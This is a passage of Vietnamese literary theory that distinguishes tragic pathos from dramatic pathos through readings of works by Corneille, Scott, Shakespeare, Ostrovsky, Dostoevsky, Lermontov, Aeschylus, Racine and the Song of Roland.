Simen kết hôn với Rôđrigơ.
Ý thức nghĩa vụ cao cả đi vào xung đột bi kịch với tình cảm cá nhân có thể trở thành đặc tính không chỉ những người có nguồn gốc quyền quý mà cả những người bình dân mà nơi họ trong thời đại tộc trưởng đó đã bắt nguồn không phải từ danh dự tầng lớp mà từ sự trung thành với những nguyên tắc đạo đức xác định gắn với thuộc tính của chúng đối với những phong trào tôn giáo này hay phong trào tôn giáo khác.
Chẳng hạn như trong tiểu thuyết của V.Xcốt “Ngục thất Eđinburg” người đàn bà nông dân Xcốtlen Đgienhi Đinx có sự trong trắng mộc mạc của những truyền thống tôn giáo đạo đức thuần tuý, có thể cứu người em gái Epphi của mình có thai ngoài hôn thú khỏi bị đe doạ xử giảo nếu như trình bày trước tòa án dường như Epphi đã kịp thời thú nhận “tội lỗi” của mình. Chính Epphi và cả người cha của họ cầu xin điều đó hết mực quyết liệt nhưng đành chịu đắng cay trước số phận của người con gái nhỏ. Nhưng Đgienhi nghiệt ngã, cô không thể nào phát biểu trước tòa với chứng cứ lừa dối. Bi kịch khủng khiếp trong tâm hồn Đgienhi và trong toàn gia đình Đinx là không tránh khỏi. Nhưng Đgienhi muốn cứu em cho đúng, cô một mình, không tiền và người hộ tống đi bộ từ Eđinburg đến Luân Đôn để cúi xuống chân quốc vương cầu xin bà ân xá cho người em hư hỏng của mình. Và Đgienhi về mặt đạo đức cao hơn tất cả giới quý tộc thân cận quốc vương, cô bảo vệ đàng hoàng lẽ phải công việc của mình, giành được “lòng lành” của quốc vương cứu Epphi. Tất cả các nhân vật của bi kịch lãng mạn này cũng như nhân vật kịch Lơxits của Cornây còn sống mãi.
Đối với Simen và Rôđrigơ cũng như đối với tất cả thành viên gia đình Đinx những tiêu chuẩn đạo đức “siêu cá nhân” vì chúng mà họ sẵn sàng đấu tranh một cách bi kịch với những tình cảm cá nhân của mình. Đó là một cái gì vĩ đại không thể không phục vụ, không thể không tuân theo. Và cuộc đấu tranh vì những tiêu chuẩn ấy với những tình cảm của mình được kết thúc – hình như cần phải được kết thúc! – một cách bi kịch.
Nhưng thường thì những tiêu chuẩn đạo đức “siêu cá nhân” như vậy lỗi thời về mặt lịch sử đã có thể được nhận thức như sự không hợp thời và đối với những người được giáo dục trong tiêu chuẩn ấy cuối cùng có thể không tuân phục trong khi nhận ra rằng những tình cảm cá nhân của họ đã cao hơn một chừng nào đó về mặt đạo đức so với những tiêu chuẩn không hợp thời ấy, rằng những tình cảm này có thể đưa họ đến một cái gì đó cao cả hơn. Khi đó cuộc đấu tranh bi kịch của tình cảm và nghĩa vụ trong tâm hồn con người có thể kết thúc đối với nó bằng sự thắng lợi của tình cảm.
Chẳng hạn như tình huống của bi kịch “Rômêô và Giuyliét” của Sếchxpia. Tình yêu của những nhân vật chính này của vở kịch là lãng mạn rất cao, đồng thời ở mỗi một trong số họ theo kiểu của mình chứa đựng mối mâu thuẫn bên trong sâu sắc và ở mỗi người theo cách riêng đưa tới những xúc động bi kịch.
Ở Rômêô mối mâu thuẫn ấy nằm ở chỗ là khi đã yêu và bí mật kết hôn với cô gái thuộc dòng họ đã từ lâu thù địch với dòng họ của mình, chàng không thể tức khắc khắc phục nơi mình mối thù hận cắm rễ sâu trong lòng đối với những người họ hàng mới của mình. Mặc dù chàng cố gắng chiến thắng bản thân về mặt đạo đức ở phương diện này trong quan hệ đối với Tiban kiêu căng và ngạo mạn – người họ hàng của Giuliét nhưng chàng vẫn căm tức y và giết y trong cuộc đấu kiếm theo sức cuốn của tình cảm dòng họ vì cái chết của người họ hàng của mình là Merkiuxiô trong khi theo mệnh lệnh của quận công chàng phải bị trục xuất mãi mãi, biệt ly với Giuliét.
Trong tâm hồn của nhân vật nữ là một bi kịch khác. Khi không biết khả năng tuyên bố hôn lễ bí mật với Rômêô, nàng bất đắc dĩ phải hoàn toàn tuân theo những truyền thống gia đình nghiêm khắc đối với cha mẹ mình, không dám đi theo chồng bị phát vãng và bị người cha chuyên chế ép kết hôn với người nàng không yêu là Parix. Bản chất của tình huống bi kịch của vở diễn là toàn bộ chỗ đó chứ không phải trong cái chết của Rômêô và Giuliét trong mở nút xung đột vở kịch. Đoạn mở nút này là lối phóng đại cốt truyện thường có ở Sếchxpia chỉ làm gia tăng tính bi kịch của cảm xúc và số phận các nhân vật.
Chúng ta thấy không có chút gì giống ở trong “Giông tố” của Ôxtrôpxki, vở kịch mà theo các đặc điểm xung đột của mình tất nhiên là một bi kịch. Bị gả làm vợ Tikhôn – người chồng đần độn, yếu đuối không có tính cách và không có tình yêu trong gia đình chuyên chế thô kệch, Katêrina – người đàn bà bản tính mạnh mẽ và thiên về những xúc cảm lãng mạn bị kích thích trong mình bởi những tập tục của gia đình tôn giáo gia trưởng riêng của nàng, đem lòng yêu Bôrit – chàng trai có vẻ ngoài văn hóa nổi bật trong môi trường quê mùa, đã ngoại tình khi vắng chồng. Nhưng những lời giáo huấn đạo đức gia trưởng mà nàng đã thấm nhuần trong quá khứ buộc nàng sau khi chồng trở về nhận thấy một cách chân thành hành động của mình như một tội lỗi nặng nề đáng bị bề trên trừng phạt. Điều đó đưa nàng tới tình trạng lưỡng phân bi kịch, sự dằn vặt đạo đức và sám hối công khai nhiệt thành trước chồng và mẹ chồng.
Nhưng những nguyên tắc đạo đức tôn giáo xưa bây giờ được thể hiện đối với nàng thông qua Kabanhich với những lời quở mắng nghiêm khắc không ngớt trong sự cô đơn đạo đức đáng sợ của đời sống gia đình hàng ngày của nàng thì khi đó tình yêu với Bôrit hiện ra con đường thoát sáng sủa duy nhất đối với nàng từ bóng tối ấy của cuộc sống bị phụ thuộc và bực bội. Nhưng Bôrit lại sợ sự phá bỏ công khai những nguyên tắc cũ và đưa nàng đi theo mình. Khi đó Katerina thất vọng đâm đầu xuống sông. Ôxtrôpxki cũng dẫn tới một tình huống bi kịch trước kết thúc bất hạnh nhưng so với Sếchxpia thì làm điều đó đơn giản và tự nhiên hơn.
Những nhân vật chính của “Lơxit” và “Ngục thất Eđinburg”, “Rômêô và Giuliét” và “Giông tố” hoặc là đã trấn áp những tình cảm cá nhân trong bản thân vì những tiêu chuẩn đạo đức xưa hoặc là đã vượt qua và phủ nhận những tiêu chuẩn cũ ấy trong tình cảm của mình. Điều đó thường xảy ra như vậy trong những thời đại lịch sử khi mà ý thức xã hội còn chưa giải phóng hoặc chỉ mới thoát ra khỏi những quan niệm đẳng cấp và quyền uy tôn giáo. Trong những nước khác và những tầng lớp khác của xã hội điều đó đã diễn ra trong những thời kỳ thuộc niên đại khác nhau.
Nhưng ý thức xã hội được giải phóng khỏi sự quyền uy đã không bị mất hết nền tảng đạo đức ấy. Những nguyên tắc đạo đức tích cực có thể tồn tại và phát triển ở mọi người mà không có sự trung thành với truyền thống đẳng cấp hay tín ngưỡng tôn giáo. Thậm chí có những người không ở trong một phong trào hay hiệp hội tư tưởng chính trị xã hội tiến bộ nào, những người có suy nghĩ một cách cá nhân chủ nghĩa hoặc chưa già dặn về tư tưởng vẫn có thể tìm thấy trong tâm hồn mình những tình cảm danh dự “nhân loại chung” nào đó, những phẩm chất, những sự cao thượng mà chúng có thể biểu lộ đặc biệt mạnh mẽ trong họ như một sự phản kháng tự nhiên chống lại cái ác xã hội. Vì chúng mà họ có thể khắc phục chủ nghĩa cá nhân và sự non nớt về tư tưởng của mình và đôi khi cả tình cảm tự bảo vệ. Sự khắc phục như vậy có thể dẫn đến cuộc đấu tranh nội tâm sâu sắc, đôi khi nhận được tính chất bi kịch.
Ví như tiểu thuyết “Tội ác và trừng phạt” của Đôxtôiépxki. Về những tiểu thuyết luận đề thành thục của nhà văn này thường được khẳng định rằng đó là những tiểu thuyết – bi kịch. Phải chăng tất cả đều như vậy, đó còn là một câu hỏi cần giải quyết một cách cụ thể. Nhưng đối với tiểu thuyết vừa nêu tên thì sự khẳng định là đúng đắn, hiển nhiên.
Tác phẩm này rất phức tạp theo nội dung của mình nhưng sự hiểu biết nó lại thường phiến diện. Chẳng hạn như Pixarép trong bài báo “Cuộc đấu tranh vì sự sống” đã hoàn toàn hướng vào những hoàn cảnh đời sống của Raxkônhikốp buộc chàng phải thực hiện việc giết người nhưng đã không chú ý đầy đủ đến những tư tưởng mà chàng đã biện minh, bào chữa cho bản thân tội ác của mình. Nhưng nhiều người trong những nhà văn học sử hiện đại chúng ta, ngược lại, thấy trong toàn bộ cốt truyện tiểu thuyết điều cốt yếu trong các lý luận của Raxkônhikốp và sự áp dụng chúng sự thể hiện nghệ thuật quan niệm đạo đức tôn giáo của chính tác giả. Cả cách này và cách kia đều là cực đoan. Cần phải nắm lấy Raxkônhikốp và những tư tưởng của nó tựa như tác giả không hiểu chúng, trước hết là trong tất cả tính chỉnh thể của tính cách xã hội của nhân vật được đặt vào một phương diện nhất định của đời sống dân tộc – một chỉnh thể mâu thuẫn bi kịch.
Cái sự mâu thuẫn ấy thực sự được tạo ra bởi toàn bộ các điều kiện và hoàn cảnh của đời sống xã hội trong đó nhân vật đã phát triển. Theo bản chất tự nhiên của mình nhưng có thể vì áp lực đạo đức sinh trưởng trong gia đình tri thức tỉnh lẻ bị côi cút bất ngờ mà từ đó nó bước ra, Raxkônhikốp trong đời sống khốn khổ của một sinh viên thủ đô nghèo của mình đầu những năm 1860, trong tình cảnh rất nặng nề của trí thức trẻ tầng lớp dưới lập tức đã đi giống như rất nhiều người khác theo con đường chống đối kịch liệt bên trong phản đối những điều kiện sinh tồn chung nặng nề bất công ấy nhưng là sự chống đối của ý thức cá nhân chủ nghĩa. Chàng đã không gia nhập nhóm thanh niên dân chủ đang say mê với những tư tưởng chủ nghĩa xã hội không tưởng và cách mạng, thậm chí còn thù địch với chúng. Hình như đối với chàng chỉ một mình với những sức mạnh trí tuệ siêu phàm của mình có thể đương đầu với cái ác bao quanh cuộc sống của chàng và tìm ra lối thoát nào đó của mình. Đó là sự ảo tưởng của nhân vật nhanh chóng bị bế tắc trong đó.
Raxkônhikốp là một người cá nhân chủ nghĩa có tính lý thuyết với thế giới quan tư tưởng dân chủ và những thiện cảm. Chàng kiêu ngạo trí tuệ nhưng tốt bụng và nhạy cảm với đau khổ của người khác. Khắp trong tiểu thuyết rải rác những chỉ dẫn về đức tốt bụng đó của chàng, những sự chăm sóc cho mẹ và em, cho gia đình Marmêlađốp, lòng thương xót cuồng nhiệt của chàng đối với “Xônhia vĩnh hằng” là sự biểu lộ sáng rõ nhất về mặt tính cách này của chàng.
Tình trạng bế tắc của nghèo khổ mà gia đình chàng rơi vào, sự mong muốn ngăn cản cuộc thành hôn không thể chấp nhận của người em gái với tên vô lại Lugin, đã xô đẩy con người cá nhân trẻ tuổi tìm kiếm các thủ đoạn ghê gớm bằng con đường tội ác. Tính kiêu căng và lòng căm tức của đầu óc cá nhân chủ nghĩa đã đưa chàng đến lý luận những cá tính mạnh mẽ, những Napôlêông, có quyền đi tới tội ác vì những tư tưởng cao cả. Những thiện cảm dân chủ của chàng đã dẫn đến ý nghĩ rằng, những tư tưởng cao cả ấy biện minh cho tội ác, có thể là sức mạnh vật chất cho rất nhiều những người đau khổ vì nghèo khổ, mở ra cho họ con đường tới cuộc sống lành mạnh, bình thường. Nói chung, anh sinh viên Pêtécbua thời đại Đôxtôiépxki đối lập với “hoàng tử Đan Mạch” thời đại Sếchxpia, muốn chiến thắng cái tội ác “siêu cá nhân” bằng con đường hoàn thiện tội ác cá nhân. Cái mâu thuẫn bi kịch cơ bản như thế ở trong ý thức của nhân vật chính của tiểu thuyết.
Chúng ta hãy cố quên đi trong ý nghĩ khỏi tất cả những sự phóng đại cốt truyện mang tính tâm lý ấy mà trong tiểu thuyết Đôxtôiépxki biểu thị sự lên án đạo đức tôn giáo đối với những nhầm lẫn của nhân vật của ông – khỏi sự ăn cướp bằng con đường giết hai người, khỏi sự thí nghiệm bởi Raxkônhikốp về cái khả năng của mình trở thành giống Napôlêông bằng con đường đổ máu, khỏi cảnh cô độc đạo đức đáng sợ của nó sau tội ác, khỏi những cuộc tiếp xúc và tranh cãi nặng nề và quá dày đặc với người dự thẩm, khỏi bất kỳ những sự kích động đau đớn, những linh cảm báo điều chẳng lành và những giấc mơ khủng khiếp. Nhưng ngoại trừ toàn bộ điều đó thì tình huống của anh nhà nghèo có trí tuệ cao phạm tội hình sự vì cứu mình, gia đình mình và những người “tủi cực và giận hờn” khác khỏi những đau khổ và chết chóc, là mang tính bi kịch. Và nếu không có việc sát hại hai người, thì con tim mẫn cảm và tốt lành của anh ta hình như đã nổi lên chống lại trí tuệ cá nhân chủ nghĩa kiêu hãnh đã xúi giục làm điều xấu xa. Và anh ta hình như đã không làm chủ được tội ác của mình, không hề sử dụng của cướp bóc để cho những người khác, thậm chí cũng không cho bản thân mình và những người than của mình. Và anh ta hình như vẫn như thế, vẫn đi theo những đường phố Pêtécbua như một “thiên thần xanh xao”, rồi sớm hay muộn sẽ cúi đầu nhận tội với cảnh sát và chịu hình phạt đích đáng.
Nhưng nhà đạo đức tôn giáo Đôxtôiépxki có vẻ muốn hành hạ về đạo đức anh ta đến tận cùng trước độc giả, bằng cách dày vò nhân vật của mình như một người cá nhân chủ nghĩa làm đổ máu người từ những tính toán duy lý. Và dưới ngòi bút của nhà văn, nhà tâm lý, người phóng đại thiên tài, bi kịch của Raxkônhikốp đã trở nên vô cùng phức tạp và sâu sắc.
Những hoàn cảnh tương tự đã có thể có khoảng giữa thế kỷ XIX. Nhưng trong những sự kiện chính trị xã hội bão táp thế kỷ XX, trong thời đại cách mạng xã hội chủ nghĩa và chiến tranh thế giới thì “những con người nhỏ bé” bình thường, sống cuộc đời phàm tục nhỏ nhen thường đã và đang trở thành những người gánh chịu và hy sinh hơn nhiều của những thái độ và xúc cảm sâu sắc. Chẳng hạn như các nhân vật của truyện vừa “Rômêô và Giuliét và bóng tối” của Ia Ôttsenasêch. Trong đó mô tả những quan hệ cá nhân của chàng trai Tiệp Khắc Paven với cô gái Do thái Exter trong thời kỳ chiếm đóng Tiệp Khắc của quân Hítle, trong thời điểm bọn phát xít khủng bố cực kỳ mạnh mẽ và tàn tạo trên đất nước này.
Chàng trai đã tình cờ gặp người con gái cô đơn bị săn đuổi có ngôi sao vàng trên trang phục trong giờ phút cô đã mất cha mẹ, bị bọn Giéttapô gọi và biết là sẽ chết ở trại tập trung. Lập tức Paven có ý giúp đỡ người con gái bất hạnh, bí mật dấu cô vào căn phòng nhỏ cạnh xưởng thợ của cha mình, đã bộc lộ không chỉ lòng thương xót của anh đối với Exter mà cả tình cảm trong trắng, sự chống đối tự phát, tiếng gọi đạo đức của anh đối với những kẻ áp bức mà cái chính quyền xâm lược tàn ác của chúng đã là thảm họa đối với toàn thể nhân dân anh.
Vậy là trong mấy tuần lễ, Paven, cứ chiều tối nói dối cha mẹ già tốt bụng của mình, bí mật đến chỗ Exter, đem thức ăn và sách cho cô. Về cuối, sau khi mưu sát tên bảo hộ Gâyđrích vào lúc nguy cơ bị lộ, bắt bớ, bắn giết, việc Paven che dấu nàng đã gây nên sự nguy hiểm vô cùng đối với bản thân, cha mẹ và xóm giềng của mình. Giữa họ đã nhanh chóng xuất hiện mối tình trong sạch, sâu sắc. Trong tình yêu không có những tư tưởng cao cả nào cả nhưng nó đã cao đẹp một cách tự nhiên bởi vì Exter từ đầu đã cảm thấy và sau đó nàng đã hiểu, đã nhận ra và đánh giá toàn bộ sức mạnh “siêu cá nhân” của lòng dũng cảm và đức hy sinh của chàng trai đang đấu tranh vì cuộc sống của cô với toàn bộ chế độ phát xít thù địch với anh và vì Paven đã thấy Exter không đơn giản là một cô gái yêu anh và là vợ tương lai của anh mà là một con người đáng được hạnh phúc mà vì nó cần phải chiến đấu đến cùng. Nhưng tình yêu của Exter đã biểu lộ còn đầy lòng hy sinh hơn cả tình yêu của Paven. Nàng đã công khai việc trốn tránh bí mật của mình, chính nàng đã không báo trước cho người cứu mình, đã đánh lừa tên đặc vụ, tình nguyện đi ra phố vào đúng lúc những cuộc vây ráp tất cả dân chúng Praha diễn ra rùng rợn, dã man nhất, nàng đi trong “bóng tối” và hy sinh trước viên đạn của bọn phát xít đi tuần tra.
Chúng ta đã nêu lên những ví dụ của những tính cách và hoàn cảnh bi kịch trong các tác phẩm kịch và sử thi – trong bi kịch, tiểu thuyết, truyện vừa. Nhưng cái bi kịch như cảm hứng của sự sáng tạo có thể tìm được biểu hiện của mình trong các tác phẩm trữ tình mang đặc điểm hình ảnh tượng trưng.
Ví dụ như bản trường ca “Con quỷ” của Lermôntốp. Trong đó dễ dàng phân tích hoàn cảnh bi kịch vốn có trong cuộc sống xã hội Nga lúc đó chất đầy những giới hạn xã hội lịch sử tương đối chật hẹp và xác định. Nhưng tính tượng trưng của nó lại đem đến cho nội dung tác phẩm ý nghĩa “toàn nhân loại” rộng lớn hơn nhiều.
Hình tượng trung tâm của bản trường ca dĩ nhiên không phải là sự diễn giải có tính chất nhà thờ tôn giáo chính thống của con quỷ như là sự thể hiện tội tổ tông, như “hoàng tử của bóng tối” mà ngược lại là sự hiểu biết chống nhà thờ của nhân vật thần thoại này như Liuxipher, như là sự biểu hiện khởi nguyên của ánh sáng, của tri thức, của sự giải phóng tinh thần con người khỏi sự nô dịch quyền uy nhà thờ của nó. Ở Lermôtốp con quỷ là “hoàng đế của nhận thức và tự do”. Nhưng đó là ánh sáng cho tâm hồn con người phải xé rách tất cả mối liên hệ với thế giới cũ, giản đơn, ngây thơ, quen thuộc từ thuở ấu thơ của quyền uy tinh thần để đi tới sự lạnh lẽo cô đơn thành thị.
Cái bi kịch hoàn cảnh của trường ca là ở chỗ con người đã đứng vào một hoàn cảnh cá nhân chủ nghĩa thiển cận như vậy và vì thế con đường đau khổ của “nhận thức và tự do” từ bỏ niềm tin ngây thơ cũ đối với thế giới, đối với sự trinh bạch đạo đức và cái đẹp của nó, ở chỗ con người nhận thức sự khác nhau của cái thiện và cái ác và đã không bao giờ có thể quay trở lại với cái ngây thơ “thiên đường” và sự chất phác trước kia của đời sống tinh thần của mình tựa hồ không phải ao ước lãng mạn về điều đó mà phải luôn luôn gánh chịu cảnh cô đơn lạnh lẽo của mình thù địch với thế giới.
Trong cốt truyện bản trường ca điều đó được thể hiện một cách tượng trưng ở chỗ Con quỷ khi thán phục vẻ đẹp và sự trong trắng của Tamara, đi đến cô trong trai phòng “với tâm hồn cởi mở cho cái thiện”, hy vọng rằng “thời mong đợi đã đến với cuộc sống mới’. Nhưng thiên sứ tượng trưng bảo vệ cô gái vì không phải Tamara có thể cứu Con quỷ khỏi lòng kiêu căng quá đỗi của nó mà nó có thể “mở ra” cho cô “cái vực thẳm của nhận thức kiêu căng” đời sống và “sự khinh bỉ” đối với cô. Con quỷ giết chết Tamara bằng nụ hôn tượng trưng của mình và “giống trước kia” còn lại một mình “không hy vọng và tình yêu”, nguyền rủa “những mơ ước điên cuồng của mình”.
Như vậy cảm hứng bi kịch của tác phẩm bắt nguồn từ bi kịch của những tính cách và hoàn cảnh trong những miêu tả của chúng, trong khi trở thành khuynh hướng tư tưởng – cảm xúc của tư duy sáng tạo của nhà văn thì trong văn học đã xuất hiện nhiều thể, loại khác nhau trong những thời đại khác nhau mà phát triển lịch sử các xã hội dân tộc.
Từ tất cả những điều đó nói toát ra một sự xác định chung cái bi kịch như những biến thể của cảm hứng. Những tình huống và xúc động bi kịch có thể xuất hiện không chỉ trong đời sống con người được làm nên bởi chính quyền và những đặc quyền xã hội (của các hoàng đế, đại thần, tướng lĩnh v.v..) mà cả trong cuộc sống của những người bình thường, những thành viên thường của xã hội. Mức độ bi kịch được đo không phải bằng sự tràn đầy máu chảy và cũng không phải bằng tổng số những thi thể trong kết thúc xung đột. Cái bi kịch trong chính bản thân những xung đột của các tác phẩm nghệ thuật, trong những mâu thuẫn bên trong xuất hiện trong ý thức các các nhân vật hành động chính của chúng. Các xung đột bi kịch là ở chỗ nhân vật chính hay các nhân vật các tác phẩm do những hoàn cảnh nhất định của đời sống và hoạt động của mình, của tình hình của mình trong môi trường bao quanh cảm thấy mâu thuẫn sâu sắc giữa những nguyên cớ cá nhân của những xúc cảm và hành động của mình với những nguyên nhân “siêu cá nhân” đối với chính chúng hoặc giữa những nguyên cớ “siêu cá nhân” của trình độ khác nhau của “cái toàn thể”.
Những nhân vật như vậy là những nhân vật bi kịch, những tính cách bi kịch. Đồng thời chúng tham gia trực tiếp và rõ ràng vào cuộc đấu tranh với những sự chống đối và những kẻ thù của mình hoặc là không; cái mâu thuẫn bi kịch bên trong của những tư tưởng và xúc động của chúng được bộc lộ ra bên ngoài trong quá trình những sự kiện đời sống của chúng hoặc là nó còn ẩn giấu; chính nhà văn khẳng định mặt tư tưởng những nguyên nhân “siêu cá nhân” hoặc cá nhân của các hành động và xúc cảm các nhân vật của mình. Tất cả điều đó xảy ra theo những kiểu khác nhau trong văn học các dân tộc và thời đại lịch sử khác nhau, trong sáng tác các nhà văn của các khuynh hướng văn học khác nhau.

III. Tính kịch
Cần phân biệt cảm hứng kịch tính của các tác phẩm với cảm hứng bi kịch của chúng. Cần chỉ ra chính thuật ngữ này đã từng xuất hiện đầu tiên trong lĩnh vực kịch. Đối với Arixtôt, Létxing, Hêghen thì từ “đram” – đó là một trong những loại văn học nghệ thuật, tồn tại song song với hai loại khác là sử thi và trữ tình. Nhưng việc sử dụng từ như vậy dẫn tới việc lẫn lộn các khái niệm loại và thể. Để tránh điều đó cần phải gọi tất cả các tác phẩm theo loại của mình là nghệ thuật kịch còn dưới từ “đram” tất nhiên chỉ là một thể của nghệ thuật kịch khác với các thể khác của nó là bi kịch và hài kịch. Chính sự hiểu rõ đram (chính kịch) như một trong những thể nghệ thuật kịch đã xuất hiện muộn, chỉ trong nửa sau thế kỷ XVIII.
Nhưng nhiều đram (trong nghĩa này của từ) lại có phần giống bi kịch bởi chiều sâu rộng lớn và sâu sắc của các xung đột và các cảm xúc của những nhân vật của mình được bắt nguồn từ chúng. Những xung đột và xúc cảm như vậy mang trong mình một quan hệ tư tưởng – cảm xúc đối với đời sống được trở nên sâu sắc hơn nhiều đến độ cảm hứng. Cần gọi biến thể ấy của cảm hứng là tính kịch. Nó trước hết là cảm hứng của các hành động và quan hệ của các nhân vật nhưng nó thường đồng thời trở thành tính kịch của khuynh hướng tư tưởng của chính tác phẩm, thành cảm hứng của sự thấu triệt tư tưởng những tính cách được miêu tả từ phía nhà văn. Cũng như trong bi kịch sự thấu triệt như thế của các tính cách có thể chứa trong mình cả sự khẳng định và cả sự phủ định tư tưởng của chúng.
Sự khác nhau cơ bản của cảm hứng tính kịch với cảm hứng bi kịch là ở chỗ nào? Cả cái này lẫn cái kia được sinh ra bởi những mâu thuẫn sâu sắc và mãnh liệt của cuộc sống – trong văn học là bởi những xung đột cơ bản của tác phẩm. Như đã nói ở trên các xung đột tạo ra bi kịch trong ý thức của chính các nhân vật của tác phẩm và của người sáng tác, hàm chứa trong những mâu thuẫn nội tại sâu sắc giữa các nguyên nhân cá nhân và siêu cá nhân – đối với chính các nhân vật – của những hành động và xúc cảm của chúng. Còn những xung đột sinh ra cảm hứng tính kịch thì đó là những xung đột của những nhân vật tác phẩm với những sức mạnh của đời sống, với những nguyên tắc và truyền thống mà từ bên ngoài đối lập với những tính cách nhân vật và những sức mạnh ấy không có ý nghĩa siêu cá nhân đối với chúng. Với những sức mạnh và nguyên tắc đời sống như vậy các nhân vật có thể bước vào đấu tranh trong khi bảo vệ hoặc những khát vọng siêu cá nhân của mình hoặc chỉ những giá trị đạo đức của đời sống cá nhân riêng biệt của mình cũng không có ý nghĩa đạo đức tích cực. Trong ý nghĩa ấy toàn bộ các vấn đề của xung đột tính kịch rộng hơn và đa dạng hơn toàn bộ các vấn đề của xung đột bi kịch.
Nhưng trong tất cả những điều khác biệt như vậy, các xung đột gợi lên cảm hứng tính kịch cũng có thể đưa các nhân vật tác phẩm đến những xúc động rất nặng nề, những đau đớn và đôi khi thậm chí đến những hy sinh. Và những xung đột như thế càng sâu sắc, càng gợi lên những xúc động nặng nề bao nhiêu như tính kịch của các hành động nhân vật và số phận của chúng càng mạnh mẽ bấy nhiêu.
Vậy thì các bi kịch và tính kịch khác nhau không phải bởi mức độ mãnh liệt của những xung đột của chúng được sản sinh ra và cũng không phải bởi mức độ nặng nề các kết quả của chúng mà bởi những sự khác biệt cơ bản của chính những xung đột ấy giống như chúng đã không phát triển trong các tác phẩm và như chúng đã không dẫn các nhân vật của chúng đến cái điều gì.
Có những nguyên nhân nhất định tính kịch trong một mức độ nào đó làm cho cái bi kịch liên tưởng chặt chẽ với kịch đram với nghệ thuật kịch ở chúng ta. Những tác phẩm nghệ thuật kịch về cơ bản là dùng cho việc trình diễn ở sân khấu nhưng việc trình diễn như vậy luôn được tính trong một thời gian tương đối ngắn, khoảng 2 – 3 giờ trình diễn. Điều đó đặt ra cho tác phẩm nghệ thuật kịch những yêu cầu đặc biệt: chúng cần phải cô đặc trong các xung đột của mình, định hướng rõ rệt trong phát triển hành động, bão hòa trong các xúc cảm của các nhân vật của mình so với những tác phẩm sử thi lớn. Từ đó tính kịch và bi kịch của những xung đột và những cảm xúc nghệ thuật kịch cần phải căng thẳng hơn. Vì vậy rõ ràng là chính từ nguyên nhân của việc gọi hai biến dạng ấy của cảm hứng gắn với sự phát triển nghệ thuật kịch. Nhưng như đã trình bày ở dưới, trong các tác phẩm của những loại khác của văn học, trước hết là trong sử thi, tính kịch như một biến thể của cảm hứng được tạo ra bởi những xung đột phù hợp, được biểu hiện hết sức thường xuyên.
Chúng ta sẽ dẫn ra từ đầu những ví dụ tính kịch trong các tác phẩm nghệ thuật kịch. Chẳng hạn như xung đột kịch tính trong “Những người Ba Tư” của Etsin. Những xúc cảm đạo đức dân tộc nặng nề của các cận thần hoàng đế Ba Tư Đaria và của chính nhà vua được kêu gọi không phải bởi xung đột bên trong của những khát vọng và quyền lợi của chúng với những nguyên tắc “siêu cá nhân” trong ý thức riêng của chúng. Sự nặng nề của những xúc cảm ấy chứa đựng trong sự tổn thương ý thức giác ngộ dân tộc của họ. Nó được tạo ra bởi mâu thuẫn giữa những hy vọng của chúng về thắng lợi quyết định của quốc gia Ba Tư đánh tan quân Hy Lạp với cảnh đại bại xảy ra thực tế của hạm đội Ba Tư ở Xalamin. Sự kết thúc xung đột chiến tranh nặng nề và bất ngờ đối với người Ba Tư như vậy được Etsin thấu hiểu về mặt chính trị: những thành phố – nhà nước nhỏ, dân chủ, tự do của người Hy Lạp đã đem lại thất bại nặng nề cho quốc gia to lớn nhưng chuyên chế của Đaria. Cảm hứng kịch tính của vở kịch mang trong mình bằng chính sự phủ định tư tưởng nguyên tắc chuyên chế của chính thể từ phía nhà văn – người miêu tả đời sống trong ánh sáng những lý tưởng dân chủ Hy Lạp.
Cảnh tù tội của tính kịch và xung đột được miêu tả trong “Phêđra” của Raxin. Nhưng xung đột này có nội dung khác hoàn toàn: nó xảy ra không phải trong đời sống công dân mà trong sinh hoạt gia đình. Trong vở kịch này những xúc cảm nội tâm nặng nề của Phêđra lại một lần nữa được đưa ra không phải bởi cuộc đấu tranh của những nguyên tắc cá nhân và “siêu cá nhân” trong ý thức của cô ta mà bởi cuộc đấu tranh của những quyền lợi riêng của cô trong quan hệ với người con trai riêng và người chồng bị phức tạo thêm bởi những sự ngẫu nhiên. Khi đã xuất hiện ngọn lửa tình sâu sắc với Ippôlít, Phêđra đã thừa nhận với cậu điều đó chỉ sau khi nhận được tin không chính xác về cái chết của chồng mình là Têdêi và vì vậy tự thấy mình tự do. Nhưng sau đó mặc dù cô chưa gặp được tình thương yêu nơi chàng trai, sự sợ hãi của cô trước người chồng trở về đã có thể biết được về sự thú nhận của cô với Ippôlit, buộc cô phải vu khống chàng trai hình như đang có dụng tâm mưu hại danh dự của cô. Khi đó Têdêi đã nguyền rủa người con trai vì những lời vu khống của cô. Phêđra trong khi lo sợ cho cuộc sống của Ippôlít, đã chuẩn bị thú nhận tất cả, nhưng bỗng được biết về tình yêu của người con ghẻ đối với người đàn bà khác, liền bị kích động cực độ ngọn lửa tình và lòng ghen tuông, liền uống thuốc độc tự sát và trước khi chết đã tự bộc lộ với chồng về tất cả. Ở đây tính kịch của những xúc cảm và hành động của nữ nhân vật bị tình yêu ám ảnh mang trong mình sự buộc tội đạo đức của chúng. Thậm chí cái kết thúc tử vong của xung đột là sự phóng đại cốt truyện của tác giả cũng không biến cảm hứng có tính kịch của vở kịch thành tính chất bi kịch trong bản chất của mình.
Đó là hai ví dụ từ nghệ thuật kịch. Bây giờ ta hướng tới các tác phẩm sử thi để thấy rõ tính kịch cũng thường là đặc tính của chúng. Chúng ta lại nhớ đến “Bài ca về Rôlăng”. Ở phần trước ta đã xem xét nó như một tác phẩm anh hùng theo cảm hứng. Nhưng những hành động chiến đấu anh hùng của Rôlăng và đội quân của chàng trong khe núi Rônxebanxki đồng thời có đầy tính kịch. Và toàn bộ sự tường thuật của tác giả bài ca về những sự kiện xảy ra trước, đặc biệt là về những quỷ kế của Ganhêlon dẫn tới trận đánh ấy dần dần chuẩn bị và tăng thêm tính kịch của kết thúc tác phẩm. Tính kịch được mạnh lên bởi cuộc cãi cọ giữa Rôlăng và Ôliver. Ôliver ba lần khuyên người bạn mình, thổi tù và gọi sự cứu trợ của Karl với các lực lượng chiến đấu chủ yếu của nó. Nhưng cả ba lần Rôlăng vì lòng kiêu căng hiệp sĩ cá nhân của mình từ chối kêu gọi sự giúp đỡ và quyết định thổi chỉ khi mà điều đó đã hoàn toàn quá muộn, khi đội quân của chàng và chính chàng đã đành chịu hy sinh dưới sức mạnh hơn hẳn của kẻ thù. Nghĩa là cái anh hùng của những xung đột có thể thống nhất với tính lực lượng cũng như với cái bi kịch mà chúng ta đã thấy ở trên.
